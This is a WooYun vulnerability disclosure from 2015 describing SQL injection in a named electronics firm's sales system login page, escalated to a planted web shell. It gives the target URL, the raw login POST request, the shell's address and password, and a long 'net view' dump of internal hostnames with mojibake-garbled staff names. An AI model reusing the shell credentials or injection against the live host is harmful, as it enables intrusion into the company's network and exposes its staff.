当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0151321

漏洞标题:宏发电声某系统从sql注射到getshell

相关厂商:厦门宏发电声股份有限公司

漏洞作者: 路人甲

提交时间:2015-11-02 17:37

修复时间:2015-12-18 09:02

公开时间:2015-12-18 09:02

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-02: 细节已通知厂商并且等待厂商处理中
2015-11-03: 厂商已经确认,细节仅向厂商公开
2015-11-13: 细节向核心白帽子及相关领域专家公开
2015-11-23: 细节向普通白帽子公开
2015-12-03: 细节向实习白帽子公开
2015-12-18: 细节向公众公开

简要描述:

从sql注射到getshell,可威胁内网

详细说明:

宏发营销信息系统
http://mis.hongfa.com/login.aspx

QQ截图20151102160912.png


系统登录框存在post注入

POST http://mis.hongfa.com/login.aspx HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: http://mis.hongfa.com/login.aspx
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: mis.hongfa.com
Content-Length: 364
Connection: Keep-Alive
Pragma: no-cache
Cookie: ASP.NET_SessionId=ihyveu55c0de3jnttsr51fzq; ASPSESSIONIDAARRBCSQ=AKBDCGIDPIAJGAJCPIKMIMEB
__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUJMjk2MDY0MjExD2QWAmYPZBYCAgUPDxYCHgdWaXNpYmxlaGRkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBQZyZW1iZXK4DlMWh8OTCdIseEPz2wpwI12hTQ%3D%3D&__EVENTVALIDATION=%2FwEWBQLCno2lCAKbzqrYDQLy7cL8AgLArcP0BQLjl%2BvcBG3jWjIe3Uw2JLTnxbRPDOaeRftL&txt_name=admin&txt_password=admin&rember=on&btn_login=%E7%99%BB++%E5%BD%95


QQ截图20151102161024.png

漏洞证明:

QQ截图20151102161043.png


QQ截图20151102161058.png


命令行写shell

QQ截图20151102171710.png


shell地址:http://mis.hongfa.com/wpp.aspx
密码:wpp

QQ截图20151102171917.png


真的是影响内部大量主机安全
<code>
[*] 基本信息 [ C:D:E:F:G:H:I: ]
E:\HFMIS\> arp -a
Interface: 10.0.11.30 --- 0x10003
Internet Address Physical Address Type
10.0.11.99 00-1d-0f-20-1e-c9 dynamic
10.0.11.154 00-1c-54-3c-5d-19 dynamic
10.0.11.254 f8-b1-56-4b-b8-23 dynamic
E:\HFMIS\> net view
鏈嶅姟鍣ㄥ悕绉? 娉ㄩ噴
-------------------------------------------------------------------------------
\\1B-CHEN-DH
\\1B-CHEN-ML 瑁呴厤涓€閮?闄堢編鐜?
\\1B-CHEN_BK
\\1B-DBJ6 瑁呴厤涓€閮?鎵撴爣鏈?
\\1B-DENG-JZ 瑁呴厤涓€閮?閭撻噾鐝?
\\1B-DENG_QL 瑁呴厤涓€閮?閽熸诞鐢?
\\1B-DING-ZQ
\\1B-DU-CL
\\1B-HOU-LJ 瑁呴厤涓€閮? 渚埄濞?
\\1B-HU-ZP
\\1B-HUANG-B
\\1B-HUANG_YF
\\1B-KANG-WB 瑁呴厤涓€閮?搴锋枃娉?
\\1B-LIN_LZ
\\1B-LIU_L
\\1B-SPC01
\\1B-WANG-ZQ
\\1B-WU-XX
\\1B-WU-Y 瑁呴厤涓€閮?鍚磋壋
\\1B-WU_KH
\\1B-XIE_YL 瑁呴厤涓€閮?璋㈣壋涓?
\\1B-YU-RX 瑁呴厤涓€閮?淇炴棩鏄?
\\1B-ZHONG-FS
\\1B-ZHONG-XW
\\1B-ZHONG_FS
\\1B-ZHONG_XW
\\1B-ZHU_BP
\\2B-CHEN-BX 瑁呴厤浜岄儴 闄堝疂缇?
\\2B-CHEN-SX 2閮?闄堝弻閼?
\\2B-DENG-Y 瑁呴厤浜岄儴 閭撴磱
\\2B-DENG_DQ
\\2B-HE-YG
\\2B-HONG-SM
\\2B-HUANG-MY
\\2B-HUANG-ZM 瑁呴厤浜岄儴 榛勬櫤鏄?
\\2B-HUANG_ZM 2閮?榛勬櫤鏄?
\\2B-LAI_YH
\\2B-LEI-BZ 瑁呴厤2閮? 闆蜂繚鐝?
\\2B-LI-GQ
\\2B-LI-TP
\\2B-LIN-LM 浜岄儴 鏋楄壇婊?
\\2B-LIN-ZQ
\\2B-LUO-NX 瑁呴厤浜岄儴 缃椾箖绁?
\\2B-LUO_NX 瑁呴厤浜岄儴 缃椾箖绁?
\\2B-OYANG-JL 2閮?娆ч槼鑿婂叞
\\2B-WU-JX
\\2B-WU-JX-NEW
\\2B-WU_JX 瑁呴厤浜岄儴 姝︿繆绁?
\\2B-XIA_YY
\\2B-ZENG-JQ
\\2B-ZHOU-FC 瑁呴厤浜岄儴 鍛ㄥ瘜瓒?
\\2B-ZHU_SH
\\3B-CHEN-FQ 妯″叿涓績 鏉ㄦ椇鏄?
\\3B-CHEN-HR 妯″叿涓績 寮犲┑褰?
\\3B-CHEN-LZ 瑁呴厤涓夐儴 鏉庤秴
\\3B-CHEN-ML 瑁呴厤涓夐儴 闄堟鐜?
\\3B-HU-JL 瑁呴厤涓夐儴 鑳¢敠榫?
\\3B-LANJL
\\3B-LI-C
\\3B-LIN-RW
\\3B-LIN_YH
\\3B-LIU-L 瑁呴厤涓夐儴 鏇炬槬鑾?
\\3B-LIU-XM 瑁呴厤涓夐儴 鍒橀洩鏁?
\\3B-MEETING
\\3B-QIU-ZT 瑁呴厤涓夐儴 閭辨尟娣?
\\3B-SHAO-ZQ 瑁呴厤涓夐儴 閭靛織缇?
\\3B-WEI-HY
\\3B-XIE-ZS
\\3B-XU_KL 浼佸垝鐢熶骇閮?閮戞檽鑺?
\\3B-YIN-FQ 瑁呴厤涓夐儴 娈峰彂寮?
\\3B-ZHANG-XF
\\3B-ZHANG_XF
\\3B-ZHANGXF 瑁呴厤涓夐儴 寮犳檽鍑?
\\5B-CHEN-HH
\\5B-DONG-QS
\\5B-GAO-JY
\\5B-HU-WB
\\5B-HUANG-Y
\\5B-HUANG-ZQ
\\5B-LAN-JL
\\5B-LI-HH
\\5B-LIAO-LX
\\5B-LIAO-WH 瑁呴厤浜岄儴 姝︿繆绁?
\\5B-LIAO-WM
\\5B-LIAO_LX
\\5B-LIN-LR
\\5B-TAN-YB
\\5B-WU_YQ 浜旈儴 浼嶄笟鐞?
\\5B-WU_ZR
\\5B-XIAO_HS 瑁呴厤涓夐儴 寮犲織闆?
\\5B-XU-ZY
\\5B-YU-XG 浜旈儴 浜庢柊宀?
\\5B-ZHENG_Q 浜旈儴 閮戝己
\\5B-ZHOU-FC
\\5B-ZHU_LZ
\\A87F384501C647D
\\AD-2008
\\AD-2012
\\AD-BACK
\\AD-SERVER
\\AP01
\\BACKUP
\\BG-CHEN-JZ
\\BG-SUN_YF
\\BG-ZHOU-LL 鎶ュ叧 鍛ㄤ附鐜?
\\BG-ZHU_YL 鎶ュ叧瀹?鏈辩帀鐜?
\\BG1
\\BG2 棰滅編鍑?
\\BG3
\\BG_LI_J
\\BI-APP
\\BI-DB
\\BI-TEST
\\BI1
\\BJ-CJ
\\BJ-FANG-Q 閮ㄤ欢-鏂圭惔
\\CAIZHIYING
\\CG-CAI_JS
\\CG-LIU-WW 鐗╂祦閮?鍒樺▉姝?
\\CHINA-A44F1C743 璐ㄩ噺閮?SPC15
\\CITRIX01
\\CITRIX02
\\CMM-PC
\\CNC2
\\CT1
\\CT10
\\CT2
\\CT5
\\CT6
\\CT7
\\CT8
\\CT9
\\CW-CHEN_JF 璐㈠姟閮?闄堥噾鍑?
\\CW-DU-HY
\\CW-FANG-JZ 璐㈠姟閮?鏂瑰缓娲?
\\CW-FANG-L 璐㈠姟 鏂圭拹
\\CW-HU_XL
\\CW-LI-SL 璐㈠姟涓庢姇璧勭鐞嗛儴 鏉庣礌鑾?
\\CW-LI-W 璐㈠姟閮?鏉庨洴
\\CW-LI-ZY 璐㈠姟閮?鏉庢尟瀹?
\\CW-LI_ZY
\\CW-LIN-QQ
\\CW-MA-LR 璐㈠姟閮?椹附瀹?
\\CW-YANG-QJ 璐㈠姟閮?鏉ㄥ阀闈?
\\CW-YE_HY 璐㈠姟閮?鍙舵捣娌?
\\CW-ZOU-LF
\\CW-ZOU-XZ
\\CY-GUO-XJ
\\DATA
\\DATA1
\\DD-CHEN-CH 鐢甸晙杞﹂棿 闄堝僵鍗?
\\DD-CHEN-KC
\\DD-FANG-GF 鐢甸晙杞﹂棿 鏂瑰浗瀵?
\\DD-HONG-QY 鐢甸晙杞﹂棿 娲唉鑻?
\\DD-HUANG-WL 鍝佽川閮? 榛勬枃绀?
\\DD-JIAO-H 鐢甸晙杞﹂棿 浜よ揣
\\DD-LI-B 鐢甸晙杞﹂棿 鏉庡啺
\\DD-LI-FQ
\\DD-LIN-JY 鐢甸晙杞﹂棿 鏋椾繆涔?
\\DD-LUO-FR
\\DD-PAN-YQ 鐢甸晙杞﹂棿 娼橀摱渚?
\\DD-PENG-SH 鐢甸晙杞﹂棿 褰窇鍚?
\\DD-QUAN-GS 鐢甸晙杞﹂棿 鏉冭吹灞?
\\DD-QUAN-GUIS 鐢甸晙 鏉冭吹灞?
\\DD-SHI-JP
\\DD-TAN-XH
\\DD-TU-WEIMING
\\DD-TU-WM 鐢甸晙 娑備紵姘?
\\DD-WANG-LJ 鍝佽川閮? 鐜嬩附濞?
\\DD-WU-FL 鐢甸晙杞﹂棿 鍚村嚖鍏?
\\DD-ZHANG-YZ 鐢甸晙杞﹂棿 绔犺偛鏋?
\\DD-ZHAO-Y 鐢甸晙杞﹂棿 璧佃穬
\\DIAODU
\\EAM
\\EAT 灏遍绯荤粺
\\EATERY 椋熷爞鎶ラ
\\EHR-SERVER
\\EHR-WEB
\\EHR1
\\EIP
\\EIP3
\\GJ-CHEN-Z
\\GJ-CHEN-ZZ
\\GJ-FAN-JL
\\GJ-HONG_ZP
\\GJ-JIA-L
\\GJ-LEI-HJ
\\GJ-LIU-WQ
\\GJ-QIAN-WP
\\GJ-WANG-GS 1001846
\\GJ-WANG-LR
\\GJ-WANG-Y 钀ラ攢涓績 鐜嬪灇
\\GJ-WU-CJ
\\GJ-XIAO-HD 钀ラ攢涓績 鑲栬緣杈?
\\GJ-XIE-JJ
\\GJ-XULY
\\GJ-ZHANG-BF
\\GJ-ZHANG-WJ
\\GJ-ZHANG-X Jason-Zhang
\\GJ-ZHONG_YN
\\GJ-ZHUO_CH 閿€鍞湰閮?鍗撳僵绾?
\\GSLD-GUO-WG 鍏徃棰嗗閮紵鍥?
\\GSLD-ZHANG-RY 鍏徃棰嗗 寮犱粊涔?
\\GYJS-CHEN-JT 宸ヨ壓鎶€鏈儴 闄堥噾濉?
\\GYJS-CHEN-RJ 宸ヨ壓鎶€鏈儴 闄堣崳鏉?
\\GYJS-CHEN-YQ 宸ヨ壓鎶€鏈?闄堢帀娓?
\\GYJS-FAN-XH
\\GYJS-GENG-LX
\\GYJS-GONG_ZM 浜у搧鎶€鏈儴 榫氬織鏁?
\\GYJS-LAI-GX 浜у搧鎶€鏈儴 璧栧啝璐?
\\GYJS-LI_J
\\GYJS-LIN-XS 宸ヨ壓鎶€鏈儴 鏋椾慨鍦?
\\GYJS-MAO-JP 宸ヨ壓鎶€鏈儴 姣涢噾骞?
\\GYJS-RAO_ZH 宸ヨ壓鎶€鏈儴 楗舵櫤杈?
\\GYJS-SHEN-ZH 宸ヨ壓鎶€鏈?娌堟辰鍗?
\\GYJS-WU-LY
\\GYJS-YANG-SJ
\\GYJS-ZENG_ZX
\\GYJS-ZHONG-QF 宸ヨ壓鎶€鏈儴 閽熸潈椋?
\\HF
\\HF-ABC
\\HF-BOC
\\HF-CCB
\\HF-CIB
\\HF-CMBC
\\HF-FPJ 瀹忓彂 鍙戠エ鏈?
\\HF-ICBC
\\HF-LYDATA
\\HF-SBN-WCT11
\\HF-SBN-WCT65LIC
\\HFDATA
\\HFFMS1
\\HFSERVER
\\HR-BAI-F 浜哄姏璧勬簮涓績 鐧藉竼
\\HR-CAI_J
\\HR-CHEN-SS-NEW 鎸佽偂浼?闄堢強鐝?
\\HR-CHEN_F
\\HR-CHEN_QM
\\HR-CHEN_XL
\\HR-HAN-WQ 浜哄姏璧勬簮涓績 閮戝媷
\\HR-HU_JH
\\HR-LIN-H 浜哄姏璧勬簮涓績 鏋楁€€
\\HR-LIN-WT 浜哄姏璧勬簮閮?鏋楅洴濠?
\\HR-WANG_CX
\\HR-WANG_XL
\\HR-XIAO-MX 浜哄姏璧勬簮閮? 鑲栨槑鏄?
\\HR-YAN-ZH
\\HR-ZHANG-SX
\\HR-ZHANG-TJ
\\HR-ZHANG_CX
\\HR-ZHENG-B
\\HR-ZHOU_WB 鏂囨。瀹?鍛ㄦ枃褰?
\\HR-ZHU-QC
\\HR-ZT
\\JCZX-BAI-ZH 妫€娴嬩腑蹇?鐧芥櫤瀹?
\\JCZX-CHE_BH
\\JCZX-CHEN-J 妫€娴嬩腑蹇?闄堝悰
\\JCZX-FAN-L
\\JCZX-FXS1 妫€娴嬩腑蹇?鍒嗘瀽瀹?
\\JCZX-FXS2 jczx-fxs
\\JCZX-GUO-GX
\\JCZX-GUO_QL 妫€娴嬩腑蹇?閮阀鐜?
\\JCZX-JIANG-CL
\\JCZX-JIANG_CL 妫€娴嬩腑蹇?姹熼暱娴?
\\JCZX-LI-CX 12
\\JCZX-LIN-XH 妫€娴嬩腑蹇?鏋楅鍗?
\\JCZX-LIU-XF 妫€娴嬩腑蹇?鍒樻棴宄?
\\JCZX-LU-JH 妫€娴嬩腑蹇?鍗㈡暚瀹?
\\JCZX-LU_NY 妫€娴嬩腑蹇?闄嗗畞鎳?
\\JCZX-LUO-SH 妫€娴嬩腑蹇?姹借溅瀹為獙瀹?
\\JCZX-RUAN-XY 妫€娴嬩腑蹇?闃搐鐜?
\\JCZX-SU-QX 妫€娴嬩腑蹇?鑻忔竻鍏?
\\JCZX-TANG-JS
\\JCZX-TANG_X
\\JCZX-WANG_CH
\\JCZX-XIAO-X
\\JCZX-XIE-KQ
\\JCZX-XIE-SW 妫€娴嬩腑蹇?璋㈡澗姝?
\\JCZX-XIE_DR 妫€娴嬩腑蹇?璋㈠ぇ鑽?
\\JCZX-XU-GP 妫€娴嬩腑蹇?寰愬浗骞?
\\JCZX-YE-ZT
\\JCZX-YU-GX
\\JCZX-ZHANG-JL 妫€娴嬩腑蹇?寮犻噾姊?
\\JCZX-ZHENG-QL 妫€娴嬩腑蹇?閮戝阀鐜?
\\JCZX-ZHOU-Y 妫€娴嬩腑蹇?鍛ㄨ壋
\\JCZX-ZHUANG-KL
\\JCZX-ZHUANG_KR
\\JCZX-ZIWAI 妫€娴嬩腑蹇?绱鍏夎氨
\\JCZX_LU_WX
\\JG-CAI-FL 閲戝伐杞﹂棿 钄″嚖榫?
\\JG-CHEN-JP 閲戝伐杞﹂棿 闄堝墤楣?
\\JG-GUO-CZ 鍝佽川閮? 閮槍娲?
\\JG-HUANG-WZ
\\JG-LI-XY 閲戝伐杞﹂棿 鏉庨洩鍕?
\\JG-LIU-H 閲戝伐杞﹂棿 鍒樻
\\JG-LOU-YT 閲戝伐
\\JG-SHAO-XC 妯″叿 閭垫樉妤?
\\JG-SPC2 閲戝伐杞﹂棿 spc2
\\JG-WANG-XK 閲戝伐杞﹂棿 鐜嬪皬鏄?
\\JG-XU-NZ
\\JG-ZHONG-XD 閲戝伐涓夎溅闂? 閽熺ゥ寰?
\\JG-ZHOU-SX
\\JG-ZOU-DQ 閲戝伐杞﹂棿 閭归亾绉?
\\JSGL-WANG-JH
\\JSJ-DATA
\\JSJ-GU-JY 璁$畻鏈轰腑蹇?椤剧懢鐟?
\\JSJ-LIANG-SH
\\JSZX-HUANG-SJ
\\JSZX-MEETING
\\JSZX-ZOU-R
\\JYMES-TEST
\\JZB-ZHUO-B
\\KF
\\KFB-MEETING1
\\KFB-WANG_J
\\LIMS LIMS鏈嶅姟鍣?
\\MAIL
\\MAIL-2
\\MF-CAI-WY 瀵嗗皝 钄℃枃鑻?
\\MF-CHEN-AL 瀵嗗皝 闄堢埍鍏?
\\MF-CHEN-FL
\\MF-CHEN-M
\\MF-CHEN-PP 瀵嗗皝鍏徃 闄堝钩骞?
\\MF-CHEN-S 瀵嗗皝浜嬩笟閮?闄堝竻
\\MF-CHEN-YB 瀵嗗皝 闄堣伩瀹?
\\MF-CHENG-L 瀵嗗皝 绋嬬幉
\\MF-DAI-LP1
\\MF-FENG-FR
\\MF-FU-YJ 浠樺媷鍐?
\\MF-GUAN_YM 瀵嗗皝 瀹樼嚂姊?
\\MF-GUO-CG req
\\MF-GX
\\MF-HE-ZK 瀵嗗皝 浣曟寮€
\\MF-HU-YL 瀵嗗皝 鑳℃案鑹?
\\MF-LI-FK 瀵嗗皝 鏉庝紡鍧?
\\MF-LI-LL
\\MF-LI-SC 瀵嗗皝 鏉庝笘鏄?
\\MF-LI-YC
\\MF-LI_YC
\\MF-LIAO_XJ
\\MF-LIN-GY 瀵嗗皝-鏋楁鑻?
\\MF-LIN-LZ
\\MF-LIU-ZQ 瀵嗗皝 鍒樺織鏉?
\\MF-LUAN-W 瀵嗗皝 鏍句紵
\\MF-LUO-MF 瀵嗗皝 缃楃編鑺?
\\MF-LUO_MF 瀵嗗皝 缃楃編鑺?
\\MF-LZG mf-lzg
\\MF-PAN-LJ 瀵嗗皝 娼樹附濞?
\\MF-PAN-LJ1 瀵嗗皝 娼樹附濞?
\\MF-PAN_LJ 瀵嗗皝 娼樹附濞?
\\MF-QIU-AL 瀵嗗皝 閭辩埍涓?
\\MF-SONG-XZ 瀵嗗皝 瀹嬫柊鐝?
\\MF-SU-YC 瀵嗗皝 鑻忔案鏄?
\\MF-SX-ZDF1 瀵嗗皝 鎸姩鎴?
\\MF-SX-ZDF3 瀵嗗皝 鎸姩鎴?
\\MF-TANG-YJ1
\\MF-TM1
\\MF-WANG-NP 瀵嗗皝 鐜嬫煚妫?
\\MF-WANG-XC
\\MF-WU-ZH 宸弽鍗?
\\MF-XIAO-WF
\\MF-XIAO-WJ 瀵嗗皝 鑲栧惔鍐?
\\MF-XIAO_LX
\\MF-XU-CX
\\MF-YAN-JING 瀵嗗皝 閯含
\\MF-YANG-J 瀵嗗皝 鏉ㄥ仴
\\MF-YANG-XB 瀵嗗皝 鏉ㄥ悜娉?
\\MF-YE-KL 瀵嗗皝 鍙跺紑浜?
\\MF-YE-QL 瀵嗗皝 鍙剁鑾?
\\MF-YU-DL
\\MF-ZENG-LS 瀵嗗皝 鏇炬灄鏉?
\\MF-ZENG-QF 鏇惧矏鍙?
\\MF-ZENG-YH 瀵嗗皝 鏇捐壋绾?
\\MF-ZENG_LP 瀵嗗皝 鏇句附钀?
\\MF-ZHANG-GY
\\MF-ZHANG-ZJ 瀵嗗皝 寮犳斂鍐?
\\MF-ZHANG_ZJ
\\MF-ZHENG-CY 瀵嗗皝 閮戞槬灏?
\\MF-ZHENG-FJ 瀵嗗皝浜嬩笟閮?閮戠鍩?
\\MF-ZHENG-Y 瀵嗗皝鍏徃 閮戝畤
\\MF-ZHONG-GF 瀵嗗皝 閽熸宄?
\\MF-ZHOU-SY
\\MFDATA
\\MFTM
\\MIS
\\MJ-CAO-HL 妯″叿涓績 鏇规儬涔?
\\MJ-CHANG-JZ1 妯″叿涓績 甯稿啗鎴?
\\MJ-CHANG_JZ 妯″叿涓績 甯稿啗鎴?
\\MJ-CHEN-MF
\\MJ-CHEN-QF
\\MJ-CHEN-S 妯″叿涓績 闄堝竻
\\MJ-CHEN_JL
\\MJ-CHEN_WB
\\MJ-CNC2 妯″叿涓績 浼氳瀹?
\\MJ-DAI_MK
\\MJ-EDW 妯″叿涓績 鑻忕帀鐝?
\\MJ-FANG-D
\\MJ-GF01
\\MJ-HUANG-SHK 妯″叿涓績 榛勮瘲鍧?
\\MJ-HUANG-ZQ
\\MJ-HUANG_CL
\\MJ-HUANG_ZF
\\MJ-JIANG_CD 妯″叿涓績 钂嬪僵娈?
\\MJ-LAI-DS 妯″叿涓績 璧栧痉妫?
\\MJ-LEI-LP
\\MJ-LI-FA
\\MJ-LI-FH
\\MJ-LI-HD
\\MJ-LI-XH 妯″叿涓績 鏉庢檽鏉?
\\MJ-LI_JW
\\MJ-LI_LN
\\MJ-LIANG_HP
\\MJ-LIAO-YB 妯″叿涓績 寤栭洦鏍?
\\MJ-LIN-XB 妯″叿OPS 鏋楀皬鍏?
\\MJ-LIN-XL
\\MJ-LIN_JB
\\MJ-LIN_QF 妯″叿涓績 鏋楃鑺?
\\MJ-LIU-C
\\MJ-LIU-YS 妯″叿杞﹂棿 鍒樻湁鐢?
\\MJ-LIU_JL 妯″叿涓績 鍒橀噾鑾?
\\MJ-LIU_WT
\\MJ-LIU_XL
\\MJ-LIU_YS
\\MJ-MAO-YA 妯″叿涓績 姣涢摱瀹?
\\MJ-MEETINGROOM 妯″叿涓績 鍒樹竾娑?
\\MJ-NIE_JH
\\MJ-REN_WT
\\MJ-SHI-HP
\\MJ-SHI_Y
\\MJ-SU-YQ 妯″叿涓績 鑻忛€哥兢
\\MJ-SU-YZ 妯″叿涓績 鑻忕帀鐝?
\\MJ-WANG-RF 妯″叿 鐜嬩粊瀵?
\\MJ-WANG_HH 妯″叿涓績 鐜嬭緣鐓?
\\MJ-WANG_QJ
\\MJ-WANG_TW
\\MJ-WEN-RQ 妯″叿涓績 娓╄崳缇?
\\MJ-WEN-YQ 妯″叿涓績 娓╀簯缇?
\\MJ-YANG-HL 妯″叿涓績 鏉ㄦ儬鐜?
\\MJ-YANG_WM
\\MJ-YE-JJ
\\MJ-YOU-SX
\\MJ-ZHAN-Y 妯″叿涓績 鍗犻
\\MJ-ZHANG-CY
\\MJ-ZHANG_CB
\\MJ-ZHANG_H
\\MJ-ZHAO-WJ 妯″叿涓績 璧电淮鍐?
\\MJ-ZHAO-XL 妯″叿涓績 璧垫檽纾?
\\MJ-ZHENG_YF
\\MJ-ZHOU-XH 妯″叿涓績 鍛ㄥ皬绾?
\\MJ-ZHUANG_WB
\\MJ01
\\MJ02
\\NAS nas-server
\\NAS2
\\NOD32
\\NOD32-01
\\OA
\\PC-201004141319
\\PLMAPP
\\PLMDB
\\PLMVOL
\\PLMWEB
\\PM-CONNECTION
\\PM-SERVER
\\PM-SERVER1
\\PS
\\PZ-BAO-J
\\PZ-CHEN-HS
\\PZ-CHEN-ML
\\PZ-CHEN-QB 鍝佽川涓績 闄堟竻婊?
\\PZ-CHEN-T 璐ㄩ噺閮?闄堝┓
\\PZ-CHEN-TY 鍝佷繚閮?闄堝ぉ婧?
\\PZ-CHEN-ZW 鍝佽川涓績 闄堝厗浼?
\\PZ-FENG-YN
\\PZ-GAO-HR 鍝佽川涓績 楂樺崕鑽?
\\PZ-GONG-XJ 璐ㄩ噺閮?榫氭棴濞?
\\PZ-HUA_GY 璐ㄩ噺閮? 鍗庢鑻?
\\PZ-HUANG-DH
\\PZ-HUANG-XJ 璐ㄩ噺閮?榛勬檽闈?
\\PZ-HUANG_NH
\\PZ-LI-JW 鍝佽川涓績 鏉庡缓鏂?
\\PZ-LIN-YG1
\\PZ-LIU_MY
\\PZ-MAO-XA
\\PZ-PENG-B 鍝佽川涓績 褰浆
\\PZ-PENG-JP
\\PZ-RUAN-WQ 鍝佽川涓績 闃枃娓?
\\PZ-SHEN_GQ
\\PZ-SPC07
\\PZ-SPC08
\\PZ-SPC10 鍝佽川 spc10
\\PZ-SPC100
\\PZ-SPC11
\\PZ-SPC14
\\PZ-SPC18
\\PZ-SPC20
\\PZ-SPC21
\\PZ-SPC23
\\PZ-SPC24
\\PZ-SPC25
\\PZ-SPC26
\\PZ-SPC27
\\PZ-SPC29
\\PZ-SPC3 鍝佽川涓績 娓╃棣?
\\PZ-SPC31 49FD
\\PZ-SPC32
\\PZ-SPC5 鍝佽川涓績 鏉庢缇?
\\PZ-SPC99
\\PZ-TANG-J 鍝佽川 鍞愪匠
\\PZ-WANG-GR 鍝佽川涓績 鐜嬪箍鑽?
\\PZ-WANG-HM
\\PZ-WANG-HM1 鍝佽川 鐜嬬孩鑻?
\\PZ-WANG-LJ 鍝佽川閮?鐜嬩附濞?
\\PZ-WANG-YX 鍝佽川涓績 鍒樹腹钀?
\\PZ-XIAO_ZH
\\PZ-XIE-F 鍝佽川涓績 璋㈣姵
\\PZ-XIONG_JW
\\PZ-XU-JJ
\\PZ-XU-Y
\\PZ-YE-JJ01
\\PZ-ZENG-XT 鍝佽川涓績 鏇剧ゥ娣?
\\PZ-ZENG-YQ
\\PZ-ZHANG-MM
\\PZ-ZHANG-MM1
\\PZ-ZHENG-LS 鍝佽川涓績 閮戜附鐝?
\\PZ-ZHOU-XB 鍝佽川涓績 鍛ㄥ皬璐?
\\PZ-ZHOU-XY 鍝佽川鍛ㄥ皬璧?
\\PZ-ZHUANG-Y
\\PZ-ZHUANG_KL 鍝佽川涓績 搴勫紑榫?
\\PZ-ZOU-DH 鍝佽川涓績 閭瑰杈?
\\PZ-ZOU-XY
\\PZ_SPC4
\\QAD-AM1
\\QAD-AM2
\\QAD-AM3
\\QAD-AM4
\\QAD-FS
\\QC-SL
\\QCD_MEETING1
\\QCDZ qc-nas
\\QCDZ-AQ
\\QCDZ-CAI-Y
\\QCDZ-CAI-YQ
\\QCDZ-CHEN-H
\\QCDZ-CHEN-HY
\\QCDZ-CHEN-JL
\\QCDZ-CHEN-JM
\\QCDZ-CHEN-JM1
\\QCDZ-CHEN-KH
\\QCDZ-CHEN-Q
\\QCDZ-CHEN-RY 姹借溅鐢靛瓙 闄堣嫢棰?
\\QCDZ-CHEN-S 姹借溅鐢靛瓙 闄堝竻
\\QCDZ-CHEN-SJ
\\QCDZ-CHEN-SL 姹借溅鐢靛瓙 鐜嬪姞鏋?
\\QCDZ-CHEN-W 姹借溅鐢靛瓙 闄堝浗璐?
\\QCDZ-CHEN-X 姹借溅鐢靛瓙 闄堥洩
\\QCDZ-CHEN-XH1
\\QCDZ-CHEN-XL 姹借溅鐢靛瓙
\\QCDZ-CHEN-YP
\\QCDZ-CHEN-ZH
\\QCDZ-CHEN-ZY 姹借溅鐢靛瓙 闄堟尟瀹?
\\QCDZ-CHEN_HB
\\QCDZ-CHENG-W
\\QCDZ-CHENG-ZH
\\QCDZ-CHI-LX 姹犵ぜ璐?
\\QCDZ-DAI-JX
\\QCDZ-DENG-HB1
\\QCDZ-DENG-LJ 姹借溅鐢靛瓙 閭撹繛濮?
\\QCDZ-DENG-WB
\\QCDZ-DING-HL
\\QCDZ-DONG-ZR 姹借溅鐢靛瓙 钁f床鑽?
\\QCDZ-DUAN-BH
\\QCDZ-GAO-JW 姹借溅鐢靛瓙 鏉庨槼灞?
\\QCDZ-GONG-XL 姹借溅鐢靛瓙
\\QCDZ-HE-LL
\\QCDZ-HE-XQ 姹借溅鐢靛瓙
\\QCDZ-HONG-LZ
\\QCDZ-HONG-XL
\\QCDZ-HOU-DQ-PC
\\QCDZ-HU-JJ 姹借溅鐢靛瓙 鑳′匠浣?
\\QCDZ-HU-SY1 姹借溅鐢靛瓙
\\QCDZ-HU-YT
\\QCDZ-HUANG-DY 姹借溅鐢靛瓙 榛勪笢闃?
\\QCDZ-HUANG-ML2
\\QCDZ-HUANG-TJ 姹借溅鐢靛瓙
\\QCDZ-HUANG-TZ
\\QCDZ-HUANG-Y
\\QCDZ-HUANG-YH 姹借溅鐢靛瓙 榛勮壓绾?
\\QCDZ-HUANG_ML
\\QCDZ-HUANG_ML1
\\QCDZ-HUANG_YH 姹借溅鐢靛瓙
\\QCDZ-INTERNET
\\QCDZ-JI-G
\\QCDZ-JIANG-J 姹借溅鐢靛瓙 钂嬪啗
\\QCDZ-JIN-XC1
\\QCDZ-KANG-HM 姹借溅鐢靛瓙 搴烽缚鏄?
\\QCDZ-LAN-GR 姹借溅鐢靛瓙 鍏板浗鑽?
\\QCDZ-LI-D 姹借溅鐢靛瓙 鏉庣
\\QCDZ-LI-DM 姹借溅鐢靛瓙
\\QCDZ-LI-GH 姹借溅鐢靛瓙 鑳$帀鍞?
\\QCDZ-LI-LH1
\\QCDZ-LI-MH1
\\QCDZ-LI-QB
\\QCDZ-LI-RH
\\QCDZ-LI-RH1
\\QCDZ-LI-WJ
\\QCDZ-LI-WL 姹借溅鐢靛瓙
\\QCDZ-LI-WS 姹借溅鐢靛瓙 钄℃枃鑻?
\\QCDZ-LI-YJ
\\QCDZ-LI_GH
\\QCDZ-LI_QB
\\QCDZ-LI_WL 姹借溅鐢靛瓙 鏉庢枃杩?
\\QCDZ-LI_YJ
\\QCDZ-LIANG-T 姹借溅鐢靛瓙 鐜嬪畯
\\QCDZ-LIAO-XW 姹借溅鐢靛瓙 寤栧叴鏃?
\\QCDZ-LIAO-YH Mr Liao
\\QCDZ-LIN-RZ
\\QCDZ-LIN-WL 姹借溅鐢靛瓙 鏋椾紵榫?
\\QCDZ-LIN-XQ
\\QCDZ-LIN-YH1
\\QCDZ-LIN-YX
\\QCDZ-LIN_LM 姹借溅鐢靛瓙 鏉ㄥ皬姘?
\\QCDZ-LIN_ZW
\\QCDZ-LINZY
\\QCDZ-LIU-GR
\\QCDZ-LIU-H
\\QCDZ-LIU-HH 姹借溅鐢靛瓙 鏌崇孩绾?
\\QCDZ-LIU-HH1
\\QCDZ-LIU-L
